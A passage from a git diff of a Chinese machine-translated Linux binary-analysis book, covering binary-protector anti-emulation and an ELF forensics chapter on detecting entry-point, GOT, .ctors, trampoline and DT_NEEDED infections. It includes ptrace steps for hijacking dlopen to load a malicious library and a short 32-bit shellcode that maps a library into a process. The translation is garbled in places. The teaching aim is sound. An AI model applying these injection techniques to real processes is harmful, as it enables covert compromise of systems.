理想情况下,它还将抵抗其他形式的动态分析,如仿真和动态仪器(例如,**引脚**和**DynamoRIO**)。 我们在前面的章节中讨论了许多针对`ptrace`分析的反调试技术,但是对仿真的抵制呢? - -# 抗仿真 - -通常,模拟器被用来在可执行文件上执行动态分析和反向工程任务。 这样做的一个很好的原因是,它们允许反向工程师轻松地控制执行,而且它们还绕过了许多典型的反调试技术。 有许多仿真器正在被使用,例如 qemu、BOCHS 和 Chris Eagles 的 IDA X86 仿真器插件。 因此,存在无数的反仿真技术,但其中一些是特定于每个仿真器的特定实现的。 - -这个话题可以扩展到一些非常深入的讨论,并向许多方向发展,但我将仅限于我自己的经验。 在我自己的实验与仿真和反仿真在玛雅保护者,我已经学会了一些通用技术,应该工作在至少一些模拟器。 我们的二进制保护程序的反仿真的目标是能够检测它何时在模拟器中运行,如果这是真的,它应该停止执行并退出。 - -## 通过系统调用测试检测仿真 - -这种技术可以在应用级特别有用模拟器,有些操作系统无关和不太可能实现超过基本系统调用(`read`、`write`、`open`,`mmap`,等等)。 如果模拟器不支持系统调用,也不将不支持的系统调用委托给内核,它很可能会假定一个错误的返回值。 - -因此,二进制保护程序可以调用一些不太常见的系统调用,并检查返回值是否与预期值匹配。 一个非常类似的技术是调用某些中断处理程序来查看它们是否行为正确。 在这两种情况下,我们都在寻找模拟器没有正确实现的操作系统特性。 - -## 检测仿真 CPU 不一致 - -模拟器完美模拟 CPU 架构的可能性几乎为零。 因此,在模拟器的行为和 CPU 应该的行为之间寻找某些不一致是很常见的。 其中一种技术是尝试写入特权指令,如调试寄存器(例如,从`db0`到`db7`)或控制寄存器(例如,从`cr0`到`cr4`)。 仿真检测代码可能有一个 ASM 代码存根,它试图写入`cr0`,并查看是否成功。 - -## 检查某些指令之间的时间延迟 - -另一种可能导致模拟器本身不稳定的技术是检查某些指令之间的时间戳,看看执行花了多长时间。 一个真正的 CPU 执行一系列指令的速度应该比模拟器快几个数量级。 - -# 模糊处理方法 - -二进制文件可以用许多创造性的方法进行混淆或加密。 大多数二进制保护器只是用一层或多层保护来保护整个二进制。 在运行时,二进制文件被解密,并可以从内存中转储,以获取未打包的二进制文件的副本。 在更高级的保护器中,如 Maya,每个函数都是单独加密的,并且在任何给定的时间只允许一个函数被解密。 - -一旦二进制被加密,当然,它必须将加密密钥存储在某个地方。 在 Maya(前面讨论过)的例子中,设计了一个自定义堆实现,该实现本身使用加密来存储加密密钥。 在某些情况下,似乎必须公开一个密钥(例如用于解密另一个密钥的密钥),但可以使用白盒加密等特殊技术使这些最终的密钥极其模糊。 如果在保护程序中使用了来自内核的帮助,那么就有可能将密钥完全存储在二进制文件和进程内存之外。 - -代码混淆技术(如假拆卸,在[第四章描述](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*精灵病毒技术——Linux / Unix 病毒*)也常用于二进制保护使代码静态分析更加困难解密或者是没有加密。 二进制保护程序通常也会从二进制文件中删除 section 头表,并删除任何不需要的字符串和字符串表,比如那些给出符号名的字符串表。 - -# 保护控制流的完整性 - -一个受保护的二进制文件的目的应该是在运行时保护程序(进程本身),就像保护磁盘上的静止二进制文件一样。 运行时攻击一般分为两类: - -* 基于`ptrace`的攻击 -* Vulnerability-based 攻击 - -## 基于 ptrace 的攻击 - -第一种类型,基于`ptrace`的攻击,也属于调试进程的类别。 如前所述,二进制保护程序希望使基于`ptrace`的调试对逆向工程师来说非常困难。 除了调试,然而,还有许多其他的攻击可能有助于打破一个受保护的二进制,重要的是要知道,了解这些是为了给进一步说明为什么一个二进制保护想保护一个运行的进程从`ptrace`。 - -如果一个保护者,以至于它能够检测断点指令(因此使调试更加困难),但不能保护自己免受被`ptrace`追踪,然后可能仍然很容易受到`ptrace`基础攻击,劫持和共享库注入等功能。 攻击者可能不想简单地解包受保护的二进制文件,而可能只想改变二进制文件的行为。 一个好的二进制保护程序应该尽力保护其控制流的完整性。 - -假设攻击者知道一个受保护的二进制文件正在调用`dlopen()`函数来加载一个特定的共享库,而攻击者希望进程加载一个被木马攻击的共享库。 以下步骤可能导致攻击者通过改变受保护二进制文件的控制流来危及其安全: - -1. 用`ptrace`附加到过程。 -2. 修改全局偏移表项`dlopen()`指向`__libc_dlopen_mode`(在`libc.so`中)。 -3. 调整寄存器`%rdi`,使其指向路径`/tmp/evil_lib.so`。 -4. 继续执行。 - -此时,攻击者已经强迫一个受保护的二进制文件加载一个恶意的共享库,因此已经完全破坏了受保护二进制文件的安全性。 - -正如前面所讨论的,多亏了一个作为主动调试器工作的运行时引擎,防止了任何其他进程的附加,所以 Maya 保护程序能够防范此类漏洞。 如果一个保护程序可以禁止`ptrace`连接到被保护的进程,那么该进程受到这种类型的运行时攻击的风险就会小得多。 - -## 安全漏洞类攻击 - -基于漏洞的攻击是一种攻击类型,在这种攻击中,攻击者可以利用受保护程序中的固有弱点,例如基于堆栈的缓冲区溢出,然后将执行流更改为他们所选择的内容。 - -这种类型的攻击通常很难在受保护的程序上执行,因为它产生的关于它自己的信息要少得多,而且使用调试器来缩小内存中使用的位置可能更难以深入了解。 然而,这种类型的攻击是非常可能的,这就是为什么 Maya 保护程序强制控制流完整性和只读重定位,以特别防止漏洞利用攻击。 - -我不知道是否有其他的保护者现在正在使用类似的反剥削技术,但我只能猜测他们在那里。 - -# 其他资源 - -仅写一章关于二进制保护的内容不足以让你完全了解这一主题。 然而,这本书的其他章节相互补充; 当结合在一起时,它们将帮助你获得更深层次的理解。 关于这个主题有很多很好的资源,其中一些已经被提到了。 - -安德鲁·格里菲斯(Andrew Griffith)写的一篇文章特别推荐大家阅读。 这篇文章写于十多年前,但描述了许多技术和实践,这些技术和实践仍然与今天的二进制保护程序非常相关: - -[http://www.bitlackeys.org/resources/binary_protection_schemes.pdf](http://www.bitlackeys.org/resources/binary_protection_schemes.pdf) - -这篇论文之后是稍后的一个演讲,幻灯片可以在这里找到: - -[http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf](http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf) - -# 总结 - -在这一章中,我们揭示了 Linux 二进制文件的基本二进制保护方案的内部工作原理,并讨论了过去十年中为 Linux 发布的现有二进制保护程序的各种特性。 - -在下一章中,我们将从相反的角度来探索,并开始研究 Linux 中的 ELF 二进制取证。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/6.md b/docs/learn-linux-bin-anal/6.md deleted file mode 100644 index b1051f7d..00000000 --- a/docs/learn-linux-bin-anal/6.md +++ /dev/null @@ -1,769 +0,0 @@ -# 六、Linux 中的 ELF 二进制取证 - -计算机取证是一个非常广泛的领域,它包含了许多方面的调查。 其中一个方面是对可执行代码的分析。 黑客安装某种恶意功能的最危险的地方之一是某种可执行文件内。 在 Linux 中,这当然是 ELF 文件类型。 我们已经探讨了在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术- Linux/Unix 病毒*中使用的一些感染技术,但只花了很少的时间讨论分析阶段。 一个调查人员究竟应该如何探索二进制代码中的异常或代码感染? 这就是本章的内容。 - -攻击者感染可执行文件的动机各不相同,可能是病毒、僵尸网络或后门。 当然,在许多情况下,个人希望修补或修改二进制文件以达到完全不同的目的,例如二进制文件保护、代码修补或其他实验。 无论恶意与否,二进制修改方法都是相同的。 插入的代码决定二进制文件是否具有恶意意图。 - -在任何一种情况下,本章将为读者提供必要的见解,以确定一个二进制文件是否被修改了,以及它是如何被修改的。 在接下来的几页中,我们将检查几种不同类型的感染,甚至将讨论我在对 Linux 的报复病毒进行真实分析时的一些发现,该病毒是由世界上最熟练的病毒作者之一 JPanic 设计的。 本章是关于训练您的眼睛能够发现 ELF 二进制文件中的异常,通过一些实践,它变得非常容易做到这一点。 - -# 检测入口点修改的科学 - -当以某种方式修改二进制文件时,通常是为了将代码添加到二进制文件中,然后将执行流重定向到该代码。 执行流的重定向可以在二进制文件中的许多地方发生。 在这个特定的情况下,我们将检查一个非常常见的技术,当修补二进制文件时使用,特别是针对病毒。 这种技术只是简单地修改入口点,即 ELF 文件头的`e_entry`成员。 - -这里的目的是确定`e_entry`是否持有一个地址,该地址指向一个位置,该位置表示对二进制文件的异常修改。 - -### 注意事项 - -异常是指任何不是由链接器本身`/usr/bin/ld`创建的修改,该链接器的工作是将 ELF 对象链接在一起。 链接器将创建一个表示正常的二进制,而一个非自然的修改通常看起来可疑的训练眼睛。 - -能发现异常的最快途径是先知道什么是正常的。 让我们看一下两个普通的二进制文件:一个动态链接,另一个静态链接。 它们都是用`gcc`编译的,而且都没有被任何方式篡改过: - -```sh -$ readelf -h bin1 | grep Entry - Entry point address: 0x400520 -$ -``` - -所以我们可以看到进入点是`0x400520`。 如果我们看 section 头,我们可以看到这个地址属于哪个 section: - -```sh -readelf -S bin1 | grep 4005 - [13] .text PROGBITS 0000000000400520 00000520 -``` - -### 注意事项 - -在我们的示例中,入口点从`.text`部分的开头开始。 但情况并非总是如此,因此像我们之前所做的那样,查找第一个有效十六进制数字并不是一种一致的方法。 建议您同时检查每个 section 头的地址和大小,直到找到包含入口点的地址范围的 section。 - -正如我们所看到的,它指向`.text`部分的开头,这是常见的,但取决于二进制文件的编译和链接方式,这可能会随着您看到的每个二进制文件而改变。 这个二进制文件被编译成链接到 libc,就像您将遇到的 99%的二进制文件一样。 这意味着入口点包含一些特殊的初始化代码,并且它在每一个 libc 链接的二进制文件中看起来几乎相同,所以让我们看一看它,以便我们可以知道在分析二进制文件的入口点代码时应该期待什么: - -```sh -$ objdump -d --section=.text bin1 - - 0000000000400520 <_start>: - 400520: 31 ed xor %ebp,%ebp - 400522: 49 89 d1 mov %rdx,%r9 - 400525: 5e pop %rsi - 400526: 48 89 e2 mov %rsp,%rdx - 400529: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp - 40052d: 50 push %rax - 40052e: 54 push %rsp - 40052f: 49 c7 c0 20 07 40 00 mov $0x400720,%r8 // __libc_csu_fini - 400536: 48 c7 c1 b0 06 40 00 mov $0x4006b0,%rcx // __libc_csu_init - 40053d: 48 c7 c7 0d 06 40 00 mov $0x40060d,%rdi // main() - 400544: e8 87 ff ff ff callq 4004d0 // call libc_start_main() -... -``` - -前面的代码是 ELF 头的`e_entry`指向的标准 glibc 初始化代码。 这段代码总是在`main()`之前执行,其目的是调用初始化例程`libc_start_main()`: - -```sh -libc_start_main((void *)&main, &__libc_csu_init, &libc_csu_fini); -``` - -这个函数设置进程堆段,注册构造函数和析构函数,并初始化线程相关的数据。 然后它调用`main()`。 - -现在你知道代码入口点样子 libc-linked 二进制,您应该能够很容易地确定可疑的入口点地址时,当它指向并不像这样的代码,或者当它甚至不是在`.text`部分! - -### 注意事项 - -与 libc 静态链接的二进制文件在 _start 中具有与前面代码几乎相同的初始化代码,因此同样的规则也适用于静态链接的二进制文件。 - -现在让我们来看看另一个感染了报复病毒的二进制程序,看看我们发现了哪些奇怪的入口点: - -```sh -$ readelf -h retal_virus_sample | grep Entry - Entry point address: 0x80f56f -``` - -快速检查带有`readelf -S`的节头将证明这个地址不属于任何节头,这是非常可疑的。 如果一个可执行文件有段头,并且有一个可执行区域没有被某一段包含,那么这几乎肯定是一个感染或二进制补丁的迹象。 对于要执行的代码,节头文件不是必需的,但程序头文件是必需的。 - -让我们看一下,通过查看带有`readelf -l`的程序头,看看这个地址适合什么段: - -```sh -Elf file type is EXEC (Executable file) -Entry point 0x80f56f -There are 9 program headers, starting at offset 64 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 - 0x00000000000001f8 0x00000000000001f8 R E 8 - INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 - 0x000000000000001c 0x000000000000001c R 1 - [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] - LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 - 0x0000000000001244 0x0000000000001244 R E 200000 - LOAD 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 - 0x0000000000000208 0x0000000000000218 RW 200000 - DYNAMIC 0x0000000000001e50 0x0000000000601e50 0x0000000000601e50 - 0x0000000000000190 0x0000000000000190 RW 8 - LOAD 0x0000000000003129 0x0000000000803129 0x0000000000803129 - 0x000000000000d9a3 0x000000000000f4b3 RWE 200000 - -``` - -由于以下几个原因,这个输出非常可疑。 通常,我们只看到两个 LOAD 段和一个 ELF 可执行程序——一个用于文本,一个用于数据——尽管这不是严格的规则。 然而,它是标准的,并且这个二进制显示了三个片段。 - -此外,这个段被可疑地标记为 RWE(读+写+执行),这表示自修改代码,通常用于具有多态引擎的病毒,比如这个。 入口点位于第三段内,此时它应该指向第一个段(文本段),如我们所见,第一个段从虚拟地址`0x400000`开始,这是 Linux x86_64 上的可执行文件的典型文本段地址。 我们甚至不需要查看代码就可以确信这个二进制代码已经被修补过了。 - -但是对于验证,特别是如果您正在设计执行二进制代码自动化分析的代码,您可以在入口点检查代码,看看它是否符合预期的外观,这就是我们前面看到的 libc 初始化代码。 - -下面的`gdb`命令显示在`retal_virus_sample`可执行文件的入口点找到的分解指令: - -```sh -(gdb) x/12i 0x80f56f - 0x80f56f: push %r11 - 0x80f571: movswl %r15w,%r11d - 0x80f575: movzwq -0x20d547(%rip),%r11 # 0x602036 - 0x80f57d: bt $0xd,%r11w - 0x80f583: movabs $0x5ebe954fa,%r11 - 0x80f58d: sbb %dx,-0x20d563(%rip) # 0x602031 - 0x80f594: push %rsi - 0x80f595: sete %sil - 0x80f599: btr %rbp,%r11 - 0x80f59d: imul -0x20d582(%rip),%esi # 0x602022 - 0x80f5a4: negw -0x20d57b(%rip) # 0x602030 - 0x80f5ab: bswap %rsi -``` - -我想我们很快就会同意,前面的代码看起来不像我们期望在未修改的可执行文件的入口点代码中看到的 libc 初始化代码。 您可以简单地将其与我们从`bin1`中查看的预期 libc 初始化代码进行比较,以了解这一点。 - -修改入口点的其他标志是当地址指向`.text`部分之外的任何部分时,特别是当它是文本段中最后一个部分时(有时是`.eh_frame`部分)。 另一个确定的标志是地址是否指向数据段中的一个位置,该位置通常被标记为可执行文件(用`readelf -l`可见),以便它可以执行寄生代码。 - -### 注意事项 - -通常,数据段被标记为 RW,因为在该段中不应该执行任何代码。 如果你看到标记为 RWX 的数据,那就把它当作一个危险信号,因为它非常可疑。 - -修改入口点并不是创建插入代码的入口点的唯一方法。 这是实现它的一种常见方法,能够检测到这是一个重要的启发式,特别是在恶意软件中,因为它可以揭示寄生虫代码的起点。 在下一节中,我们将讨论用于劫持控制流的其他方法,这些方法并不总是在执行的开始,而是在执行的中间,甚至是在执行的最后。 - -# 检测其他形式的控制流劫持 - -修改二进制文件的原因有很多,根据需要的功能,二进制控制流将以不同的方式修补。 在前面的报复病毒示例中,修改了 ELF 文件头中的入口点。 还有许多其他方法可以将执行转移到插入的代码中,我们将讨论一些更常见的方法。 - -## 正在修补。ctors/。 init_array 节 - -在 ELF 可执行文件和共享库中,您会注意到通常存在一个名为`.ctors`的部分(通常也称为`.init_array`)。 这个部分包含一个地址数组,这些地址是由`.init`部分的初始化代码调用的函数指针。 函数指针引用使用 constructor 属性创建的函数,这些函数在`main()`之前执行。 这意味着可以用一个地址修补`.ctors`函数指针表,该地址指向已经注入到二进制文件中的代码,我们将其称为寄生代码。 - -检查`.ctors`部分中的某个地址是否有效相对容易。 构造函数例程应该总是特定地存储在文本段的`.text`段中。 请记住,在[第 2 章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*中,`.text`节不是文本段,而是位于文本段范围内的一个节。 如果`.ctors`节包含任何指向`.text`节以外位置的函数指针,那么可能是时候怀疑了。 - -### 注意事项 - -**关于反反调试的.ctors 的边注** - -一些包含了反调试技术的二进制文件实际上会创建一个调用`ptrace(PTRACE_TRACEME, 0);`的合法构造函数。 - -正如在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*ELF 病毒技术- Linux/Unix 病毒*中所讨论的,这种技术可以防止调试器附加到进程,因为在任何给定时间只能附加一个跟踪程序。 如果你发现一个二元函数,执行这个 anti-debugging 技巧,并在`.ctors`一个函数指针,那么建议只是补丁函数指针与`0x00000000`或`0xffffffff`,`__libc_start_main()`函数直接忽略它,因此有效的禁用 anti-debugging 技术。 在 GDB 中,可以使用 set 命令轻松地完成这项任务,例如`set {long}address = 0xffffffff`,假设地址是您想要修改的.ctors 条目的位置。 - -## 检测 PLT/GOT 挂钩 - -这种技术早在 1998 年就被使用了,它是由 Silvio Cesare 在[http://phrack.org/issues/56/7.html](http://phrack.org/issues/56/7.html)中发布的,其中讨论了共享库重定向技术。 - -在第二章,*ELF 二进制格式*,我们仔细检查动态链接和我解释的内部运作**PLT**(【显示】过程联系表)和【病人】(**全局偏移表**)。 具体来说,我们研究了惰性链接以及 PLT 如何包含代码存根,这些代码存根将控制转移到存储在 GOT 中的地址。 如果一个共享库函数,如`printf`以前从未被称为,然后地址存储在将指向了 PLT,然后调用动态链接器,随后填写的地址指向了`printf`从 libc 函数共享库映射到进程的地址空间。 - -静态(静止状态)和热补丁(内存中)都经常修改一个或多个 GOT 条目,以便调用一个打过补丁的函数,而不是调用原始函数。 我们将检查一个已被注入的二进制文件,该文件包含一个函数,该函数只向`stdout`写入一个字符串。 `puts(char *);`的 GOT 条目已经用一个指向注入函数的地址进行了修补。 - -前三个 GOT 条目是保留的,通常不会进行补丁,因为它可能会阻止可执行文件的正确运行(参见[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*,动态链接一节)。 因此,作为分析师,我们有兴趣观察从 GOT[3]开始的条目。 每个 GOT 值应该是一个地址。 地址可以有以下两个值之一被认为是有效的: - -* 指向 PLT 的地址指针 -* 指向有效共享库函数的地址指针 - -当磁盘上的二进制被感染(而不是运行时感染)时,将用指向二进制中注入代码的某个位置的地址修补 GOT 条目。 回想一下[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*ELF 病毒技术- Linux/Unix 病毒*,有许多方法将代码注入到可执行文件中。 在二进制示例中,我们将看看这里,浮动对象文件(`ET_REL`)的末尾插入文本段使用西尔维奥填充感染[第四章中讨论【显示】,*精灵病毒技术——Linux / Unix 病毒*。](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses") - -在分析被感染的二进制文件的`.got.plt`部分时,我们必须仔细验证从 GOT[4]到 GOT[N]的每个地址。 这仍然比查看内存中的二进制文件更容易,因为在执行二进制文件之前,GOT 条目应该始终只指向 PLT,因为还没有解决共享库函数。 - -使用`readelf -S`实用程序并查找`.plt`段,我们可以推断 PLT 地址范围。 在我现在看到的 32 位二进制的情况下,它是`0x8048300`-`0x8048350`。 在我们看下面的`.got.plt`部分之前,请记住这个范围。 - -### readelf -S 命令的截断输出 - -```sh -[12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16 -``` - -现在让我们看一下 32 位二进制的部分,看看是否有任何相关的地址指向`0x8048300`-`0x8048350`之外: - -```sh -Contents of section .got.plt: -… -0x804a00c: 28860408 26830408 36830408 … -``` - -因此,让我们将这些地址从它们的小尾数字节排序中取出,并验证在`.plt`节中的每个点都如预期的那样: - -* `08048628`:这并不指向 PLT! -* `08048326`:有效 -* `08048336`:有效 -* `08048346`:有效 - -GOT 位置`0x804a00c`包含地址`0x8048628`,它不指向有效的位置。 通过使用`readelf -r`命令查看重定位项,我们可以看到共享库函数`0x804a00c`对应的是什么,这表明受感染的 GOT 项对应于 libc 函数`puts()`: - -```sh -Relocation section '.rel.plt' at offset 0x2b0 contains 4 entries: - Offset Info Type Sym.Value Sym. Name -0804a00c 00000107 R_386_JUMP_SLOT 00000000 puts -0804a010 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ -0804a014 00000307 R_386_JUMP_SLOT 00000000 exit -0804a018 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main -``` - -所以 GOT 位置`0x804a00c`是`puts()`功能的搬迁单元。 通常,它应该包含一个指向 GOT 偏移量的 PLT 存根的地址,以便调用动态连接器并解析该符号的运行时值。 在这种情况下,GOT 条目包含地址`0x8048628`,它指向文本段结尾的一个可疑的代码位: - -```sh - 8048628: 55 push %ebp - 8048629: 89 e5 mov %esp,%ebp - 804862b: 83 ec 0c sub $0xc,%esp - 804862e: c7 44 24 08 25 00 00 movl $0x25,0x8(%esp) - 8048635: 00 - 8048636: c7 44 24 04 4c 86 04 movl $0x804864c,0x4(%esp) - 804863d: 08 - 804863e: c7 04 24 01 00 00 00 movl $0x1,(%esp) - 8048645: e8 a6 ff ff ff call 80485f0 <_write> - 804864a: c9 leave - 804864b: c3 ret -``` - -从技术上讲,我们甚至不需要知道这段代码做了什么,就可以知道 GOT 被劫持了,因为 GOT 应该只包含指向 PLT 的地址,而这显然不是 PLT 地址: - -```sh -$ ./host -HAHA puts() has been hijacked! -$ -``` - -一个进一步的练习是手动消毒这个二进制文件,这是我们在我定期提供的 ELF 研讨会培训中所做的事情。 要对这个二进制文件进行消毒,首先需要对包含寄生虫指针的`.got.plt`条目打补丁,并用一个指向适当 PLT 存根的指针替换它。 - -## 检测蹦床功能 - -术语蹦床被随意使用,但最初指的是内联代码补丁,其中插入分支指令(如`jmp`)被放置在函数过程序言的前 5 到 7 个字节上。 通常情况下,如果需要以与最初一样的方式调用已修补的函数,则会暂时用原始代码字节替换此蹦床,然后很快将重新放置蹦床指令。 检测这样的内联代码钩子非常容易,如果您有一个可以反汇编二进制文件的程序或脚本,甚至可以在一定程度上轻松地实现自动化。 - -下面是蹦床代码(32 位 x86 ASM)的两个例子: - -* 类型 1: - - ```sh - movl $target, %eax - jmp *%eax - ``` - -* 类型 2: - - ```sh - push $target - ret - ``` - -Silvio 在 1999 年写了一篇关于在内核空间中使用函数蹦床进行函数劫持的经典论文。 同样的概念可以应用到今天的用户域和内核中; 对于内核,您必须禁用 cr0 寄存器中的写保护位以使文本段可写,或者直接修改 PTE 以将给定页面标记为可写。 我个人用前一种方法取得了更多的成功。 关于核函数蹦床的原始论文可以在[http://vxheaven.org/lib/vsc08.html](http://vxheaven.org/lib/vsc08.html)中找到。 - -检测函数蹦床的最快方法是定位每个函数的入口点,并验证前 5 到 7 字节的代码没有转换成某种类型的分支指令。 为 GDB 编写一个 Python 脚本可以很容易地做到这一点。 在过去,我已经相当容易地编写了 C 代码来实现这一点。 - -# 寄生虫代码特征识别 - -我们刚刚回顾了一些劫持执行流的常用方法。 如果您能够识别执行流的位置,通常就可以识别部分或全部寄生代码。 节*检测 PLT /钩子*,我们确定寄生虫的位置代码被劫持的`puts()`功能通过简单地定位 PLT /条目,修改,看到这个地址指向的地方,而在这种情况下,是一个附加页面含有寄生虫的代码。 - -寄生代码可以被定义为不自然地插入二进制代码的代码; 换句话说,它没有被实际的 ELF 对象链接器链接进去。 话虽如此,根据所使用的技术,有几个特征有时可以归因于注入的代码。 - -**位置无关代码**(**PIC**)通常用于寄生虫,因此它可以被注入二进制文件或内存中的任意一点,并且不管它在内存中的位置如何,都能正常执行。 PIC 寄生体更容易注入到可执行文件中,因为代码可以插入到二进制文件中,而不必考虑处理重定位。 在某些情况下,例如我的 Linux 填充病毒[http://www.bitlackeys.org/projects/lpv.c](http://www.bitlackeys.org/projects/lpv.c),该寄生虫被编译为带有 gcc-nostdlib 标志的可执行文件。 它不是按位置独立的方式编译的,但它没有 libc 链接,并且在寄生代码本身中特别注意使用指令指针相对计算动态解析内存地址。 - -在许多情况下,寄生代码纯粹是用汇编语言编写的,因此在某种意义上更容易被识别为潜在的寄生代码,因为它看起来与编译器生成的代码不同。 用汇编语言编写的寄生代码的一个好处是处理系统调用的方式。 在 C 代码中,通常通过 libc 函数调用系统调用,libc 函数将调用实际的系统调用。 因此,系统调用看起来就像常规的动态链接函数。 在手写的汇编代码中,系统调用通常使用 Intel sysenter 或系统调用指令直接调用,有时甚至使用`int 0x80`(现在被认为是遗留的)。 如果系统调用指令存在,我们可以认为这是一个危险信号。 - -另一个红旗,特别是在分析远程过程,可能会感染,是看`int3`指令,可以用于许多目的,如通过控制回跟踪过程执行感染或,更让人不安,引发某种类型的 anti-debugging 机制在恶意软件或二进制的保护者。 - -下面的 32 位代码内存将一个共享库映射到一个进程,然后使用`int3`将控制传递回跟踪程序。 注意,`int 0x80`被用于调用系统调用。 这个 shell 代码实际上相当古老; 我在 2008 年写的。 通常,现在在 Linux 中,我们想使用 sysenter 或 syscall 指令来调用系统调用,但`int 0x80`仍然可以工作; 它只是比较慢,因此被认为是弃用的: - -```sh -_start: - jmp B -A: - - # fd = open("libtest.so.1.0", O_RDONLY); - - xorl %ecx, %ecx - movb $5, %al - popl %ebx - xorl %ecx, %ecx - int $0x80 - - subl $24, %esp - - # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0); - - xorl %edx, %edx - movl %edx, (%esp) - movl $8192,4(%esp) - movl $7, 8(%esp) - movl $2, 12(%esp) - movl %eax,16(%esp) - movl %edx, 20(%esp) - movl $90, %eax - movl %esp, %ebx - int $0x80 - - int3 -B: - call A - .string "/lib/libtest.so.1.0" -``` - -如果您在磁盘或内存中的可执行文件中看到这段代码,您应该很快得出结论:它看起来不像编译后的代码。 一个致命的泄露是**调用/弹出技术**,它用于动态检索`/lib/libtest.so.1.0`的地址。 该字符串被存储在`call A`指令之后,因此它的地址被推到堆栈上,然后你可以看到它被弹出到`ebx`,这不是传统的编译器代码。 - -### 注意事项 - -这段代码来自我在 2009 年编写的运行时病毒。 我们将在下一章专门讨论进程内存的分析。 - -在运行时分析中,感染载体有很多,当我们进入[第 7 章](7.html#21PMQ1-1d4163ae11644cc2802846625b2dc985 "Chapter 7. Process Memory Forensics"),*进程内存取证*时,我们将会涉及更多关于内存中的寄生虫鉴定的内容。 - -# 检查动态段的 DLL 注入跟踪 - -回顾[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*中的动态段可以在程序头表中找到,类型为`PT_DYNAMIC`。 还有一个`.dynamic`节也指向动态段。 - -动态段是 ElfN_Dyn 结构体的数组,其中包含`d_tag`和对应的存在于 union 中的值: - -```sh - typedef struct { - ElfN_Sxword d_tag; - union { - ElfN_Xword d_val; - ElfN_Addr d_ptr; - } d_un; - } ElfN_Dyn; -``` - -使用`readelf`可以方便地查看文件的动态段。 - -下面是一个合法的动态段的例子: - -```sh -$ readelf -d ./test - -Dynamic section at offset 0xe28 contains 24 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x000000000000000c (INIT) 0x4004c8 - 0x000000000000000d (FINI) 0x400754 - 0x0000000000000019 (INIT_ARRAY) 0x600e10 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x600e18 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x400298 - 0x0000000000000005 (STRTAB) 0x400380 - 0x0000000000000006 (SYMTAB) 0x4002c0 - 0x000000000000000a (STRSZ) 87 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x601000 - 0x0000000000000002 (PLTRELSZ) 144 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0x400438 - 0x0000000000000007 (RELA) 0x400408 - 0x0000000000000008 (RELASZ) 48 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000006ffffffe (VERNEED) 0x4003e8 - 0x000000006fffffff (VERNEEDNUM) 1 - 0x000000006ffffff0 (VERSYM) 0x4003d8 - 0x0000000000000000 (NULL) 0x0 -``` - -这里有许多重要的标记类型,它们是动态连接器在运行时导航二进制文件所必需的,这样它就可以解析重定位和加载库。 注意,名为`NEEDED`的标记类型在前面的代码中突出显示。 这是一个动态条目,它告诉动态连接器需要将哪些共享库加载到内存中。 动态链接器将在环境变量$`LD_LIBRARY_PATH`指定的路径中搜索命名的共享库。 - -很明显,攻击者可以向二进制文件中添加一个`NEEDED`条目,该条目指定要加载的共享库。 在我的经验中,这不是一种非常常见的技术,但它是一种可以用来告诉动态链接器加载任何您想要的库的技术。 分析人员的问题是,这种技术很难检测它是否正确执行,也就是说,插入的`NEEDED`条目直接插入在最后一个合法的`NEEDED`条目之后。 这可能很困难,因为您必须将所有其他动态条目向前移动,以便为插入腾出空间。 - -在许多情况下,攻击者可能这样做的没有经验的方式`NEEDED`条目结尾的所有其他条目,对象链接器绝不会做的,所以,如果你看到一个动态段看起来像后,你就知道要发生什么事了。 - -以下是受感染的动态段的示例: - -```sh -$ readelf -d ./test - -Dynamic section at offset 0xe28 contains 24 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x000000000000000c (INIT) 0x4004c8 - 0x000000000000000d (FINI) 0x400754 - 0x0000000000000019 (INIT_ARRAY) 0x600e10 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x600e18 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x400298 - 0x0000000000000005 (STRTAB) 0x400380 - 0x0000000000000006 (SYMTAB) 0x4002c0 - 0x000000000000000a (STRSZ) 87 (bytes) - 0x000000000000000b 